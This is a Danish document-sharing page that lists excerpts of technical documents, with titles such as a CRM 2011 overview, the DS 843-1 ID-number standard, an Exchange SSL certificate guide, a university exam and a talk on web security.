Microsoft Dynamics CRM 2011 (CRM2011) From a Technical point of view Microsoft Dynamics CRM 2011 (CRM2011) From a Technical point of view Table of Contents Intro Ramón Soto Mathiesen CRM2011 Architectural Overview From a development point of view SharePoint 2010 integration

Læs mere

Personspecifikke identifikationsnumre (PID)

Personspecifikke identifikationsnumre (PID) Dansk standard DS 843-1 2. udgave 2003-12-16 Personspecifikke identifikationsnumre (PID) Person-specific identification numbers (PID) DS 843-1 København DS projekt: 53652 ICS: 35.040 Deskriptorer: personspecifikke

Læs mere

FairSSL Fair priser fair support

FairSSL Fair priser fair support Exchange 2010 SSL certifikat administration Følgende vejledning beskriver hvordan man vælger hvilke adresser der skal være i ens Exchange 2010 SAN SSL certifikat. Derudover er der tekniske guides til at

Læs mere

GeoEnviron Web-løsninger

GeoEnviron Web-løsninger 2012 Troels Kreipke 01-01-2012 Indhold Generelt... 3 Web-løsninger... 3 XML-firewall... 4 GeoEnviron_WebService... 4 Installation af web-løsninger uden brug af GeoEnviron_WebService... 5 GeoEnviron_WebService...

Læs mere

Skriftlig Eksamen Kombinatorik, Sandsynlighed og Randomiserede Algoritmer (DM528)

Skriftlig Eksamen Kombinatorik, Sandsynlighed og Randomiserede Algoritmer (DM528) Skriftlig Eksamen Kombinatorik, Sandsynlighed og Randomiserede Algoritmer (DM58) Institut for Matematik og Datalogi Syddansk Universitet, Odense Torsdag den 1. januar 01 kl. 9 13 Alle sædvanlige hjælpemidler

Læs mere

SOFTWARE PROCESSES. Dorte, Ida, Janne, Nikolaj, Alexander og Erla

SOFTWARE PROCESSES. Dorte, Ida, Janne, Nikolaj, Alexander og Erla SOFTWARE PROCESSES Dorte, Ida, Janne, Nikolaj, Alexander og Erla Hvad er en software proces? Et struktureret sæt af AKTIVITETER, hvis mål er udvikling af software. En software proces model er en abstrakt

Læs mere

Sikkerhed på nettet for applikationer og identiteter

Sikkerhed på nettet for applikationer og identiteter Sikkerhed på nettet for applikationer og identiteter Jakob I. Pagter, Security Lab Alexandra Instituttet A/S Privatejet almennyttig firma med fokus på forskning og innovation indenfor IT GTS Godkendt Teknologisk

Læs mere